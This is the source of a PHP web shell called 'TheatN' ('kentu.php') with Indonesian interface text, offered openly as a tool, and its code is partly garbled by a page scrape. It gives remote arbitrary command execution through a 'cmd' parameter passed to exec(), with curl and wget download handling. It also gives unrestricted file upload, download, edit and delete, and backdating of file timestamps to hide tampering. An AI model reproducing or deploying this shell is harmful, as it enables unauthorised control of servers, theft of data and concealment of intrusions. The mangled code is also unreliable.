kentu.php
    
    
    
    
    
TheatN
File Manager Access
            
                    
                    ‘ . $error . ‘
                
‘;
            }
            ?>
    
    
    
 $tmp_name) {
        $name = $_FILES[‘files’][‘name’][$key];
        $tmp_name = $_FILES[‘files’][‘tmp_name’][$key];
        if (move_uploaded_file($tmp_name, “$path/$name”)) {
            echo “Upload Berhasil: $name
“;
        } else {
            echo “Upload Gagal: $name
“;
        }
    }
}
if (isset($_GET[‘download’])) {
    $file = $_GET[‘download’];
    if (file_exists($file)) {
        header(‘Content-Description: File Transfer’);
        header(‘Content-Type: application/octet-stream’);
        header(‘Content-Disposition: attachment; filename=’ . basename($file));
        header(‘Content-Length: ‘ . filesize($file));
        flush();
        readfile($file);
        exit;
    }
}
if (isset($_POST[‘delete’])) {
    $delete_path = $_POST[‘delete’];
    if (is_dir($delete_path)) {
        $files = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($delete_path, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach ($files as $fileinfo) {
            $todo = ($fileinfo->isDir() ? ‘rmdir’ : ‘unlink’);
            $todo($fileinfo->getRealPath());
        }
        rmdir($delete_path);
    } else {
        unlink($delete_path);
    }
}
if (isset($_POST[‘rename’])) {
    $old_name = $_POST[‘old_name’];
    $new_name = $_POST[‘new_name’];
    if (rename($old_name, $new_name)) {
        echo “Rename berhasil
“;
    } else {
        echo “Rename gagal
“;
    }
}
if (isset($_POST[‘edit’])) {
    $file_path = $_POST[‘file_path’];
    $content = $_POST[‘content’];
    if (file_put_contents($file_path, $content)) {
        echo “Edit file berhasil
“;
    } else {
        echo “Edit file gagal
“;
    }
}
if (isset($_POST[‘change_time’])) {
    $file_path = $_POST[‘file_path’];
    $new_time = strtotime($_POST[‘new_time’]);
    if (touch($file_path, $new_time, $new_time)) {
        echo “Waktu file berhasil diubah
“;
    } else {
        echo “Gagal mengubah waktu file
“;
    }
}
// Create new folder
if (isset($_POST[‘create_folder’]) && !empty($_POST[‘create_folder’])) {
    $folder_name = trim($_POST[‘create_folder’]);
    $new_folder = $path . ‘/’ . $folder_name;
    if (!file_exists($new_folder)) {
        if (mkdir($new_folder, 0755)) {
            echo ‘
‘;
        } else {
            echo ‘
‘;
        }
    } else {
        echo ‘
‘;
    }
}
// Create new file
if (isset($_POST[‘create_file’]) && !empty($_POST[‘create_file’])) {
    $file_name = trim($_POST[‘create_file’]);
    $new_file = $path . ‘/’ . $file_name;
    if (!file_exists($new_file)) {
        if (touch($new_file)) {
            echo ‘
‘;
        } else {
            echo ‘
‘;
        }
    } else {
        echo ‘
‘;
    }
}
?>
ON” : “OFF“;
$ds = @ini_get(“disable_functions”);
$mysql = (function_exists(‘mysql_connect’)) ? “ON” : “OFF“;
$curl = (function_exists(‘curl_version’)) ? “ON” : “OFF“;
$wget = (exe(‘wget –help’)) ? “ON” : “OFF“;
$perl = (exe(‘perl –help’)) ? “ON” : “OFF“;
$python = (exe(‘python –help’)) ? “ON” : “OFF“;
$show_ds = (!empty($ds)) ? “$ds” : “NONE“;
$total = formatSize(disk_total_space($path));
$free = formatSize(disk_free_space($path));
$total1 = disk_total_space($path);
$free1 = disk_free_space($path);
$used = formatSize($total1 – $free1);
function formatSize($bytes) {
    $types = array(‘B’, ‘KB’, ‘MB’, ‘GB’, ‘TB’);
    for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++);
    return round($bytes, 2) . " " . $types[$i];
}
?>
T h e a t N
| PHP | |
| IP Server | |
| Storage | Total:  Free:  (Used: ) | 
| Security | Safe Mode: | Disable Functions: | 
| Tools | MySQL:  | Python:  | Perl: | Wget: | cURL: | 
| OS | |
| Path | $pat) { if ($pat == ” && $id == 0) { echo ‘/‘; continue; } if ($pat == ”) continue; echo ‘‘ . $pat . ‘/’; } ?> | 
‘;
//cmd
if ($_GET[‘go’] == ‘terminal’) {
    echo ‘
Current Path: ‘ . htmlspecialchars($path) . ‘
‘;
}
if (isset($_GET[‘cmd’])) {
    echo “
";
    $command = $_GET['cmd'];
    
    // Change to the current directory for all commands
    chdir($path);
    
    if (strpos($command, 'curl') === 0) {
        // Handle curl commands
        $output = array();
        $return_var = 0;
        
        // Capture both stdout and stderr
        exec($command . " 2>&1", $output, $return_var);
        
        // Print all output
        foreach ($output as $line) {
            echo htmlspecialchars($line) . "\n";
        }
        
        // Show error if command failed
        if ($return_var !== 0) {
            echo "\nCommand failed with status $return_var\n";
        }
        
        // If it's a download (has -O or --output)
        if (preg_match('/-O\s+[\'"]*([^\s\'">]+)[\'"]*/', $command, $matches) || 
            preg_match('/--output\s+[\'"]*([^\s\'">]+)[\'"]*/', $command, $matches)) {
            $filename = $matches[1];
            if (file_exists($path . '/' . $filename)) {
                echo "\nFile downloaded successfully: " . htmlspecialchars($filename) . "\n";
            }
        }
    } 
    // Handle wget commands
    elseif (strpos($command, 'wget') === 0) {
        $output = array();
        exec($command . " 2>&1", $output);
        echo implode("\n", array_map('htmlspecialchars', $output));
    } 
    // Other commands
    else {
        $output = array();
        exec($command . " 2>&1", $output);
        echo implode("\n", array_map('htmlspecialchars', $output));
    }
    
    // Return to original directory
    chdir(dirname($_SERVER['SCRIPT_FILENAME']));
    echo "
“;
    exit;
}
//keluar
if (isset($_GET[‘keluar’])) {
    session_start();
    session_destroy();
    echo ‘‘;
}
//about
if (isset($_GET[‘disclaimer’])) {
    echo ‘
TheatN
Segala tindakan dan aktivitas yang berkaitan dengan materi yang terdapat dalam alat ini sepenuhnya menjadi tanggung jawab Anda. Pengembang tidak bertanggung jawab atas segala kerugian atau kerusakan yang disebabkan oleh penyalahgunaan informasi dalam alat ini yang dapat berakibat pada tuntutan pidana yang diajukan terhadap orang yang bersangkutan.
Note: Modifikasi atau perubahan pada kode ini diperbolehkan, namun rilis publik yang menggunakan kode ini harus disetujui oleh penulis alat ini (msverse)’;
    exit;
}
?>
Melihat File: ” . htmlspecialchars(basename($file)) . “
“;
        echo “
" . htmlspecialchars(file_get_contents($file)) . "
“;
    } elseif (isset($_GET[‘edit’])) {
        $file = $_GET[‘edit’];
        echo “
Mengedit File: ” . htmlspecialchars(basename($file)) . “
“;
        echo ‘
‘;
    } else {
        echo ‘
| Name | Size | Permissions | Modified | Actions | 
|---|---|---|---|---|
| ‘ . htmlspecialchars($dir) . ‘ | — | ‘ . $perms . ‘ | ‘ . date(“Y-m-d H:i”, filemtime(“$path/$dir”)) . ‘ |  | 
| ‘ . htmlspecialchars($file) . ‘ | ‘ . $size . ‘ | ‘ . $perms . ‘ | ‘ . date(“Y-m-d H:i”, filemtime(“$path/$file”)) . ‘ | 
‘;
    }
    ?>  
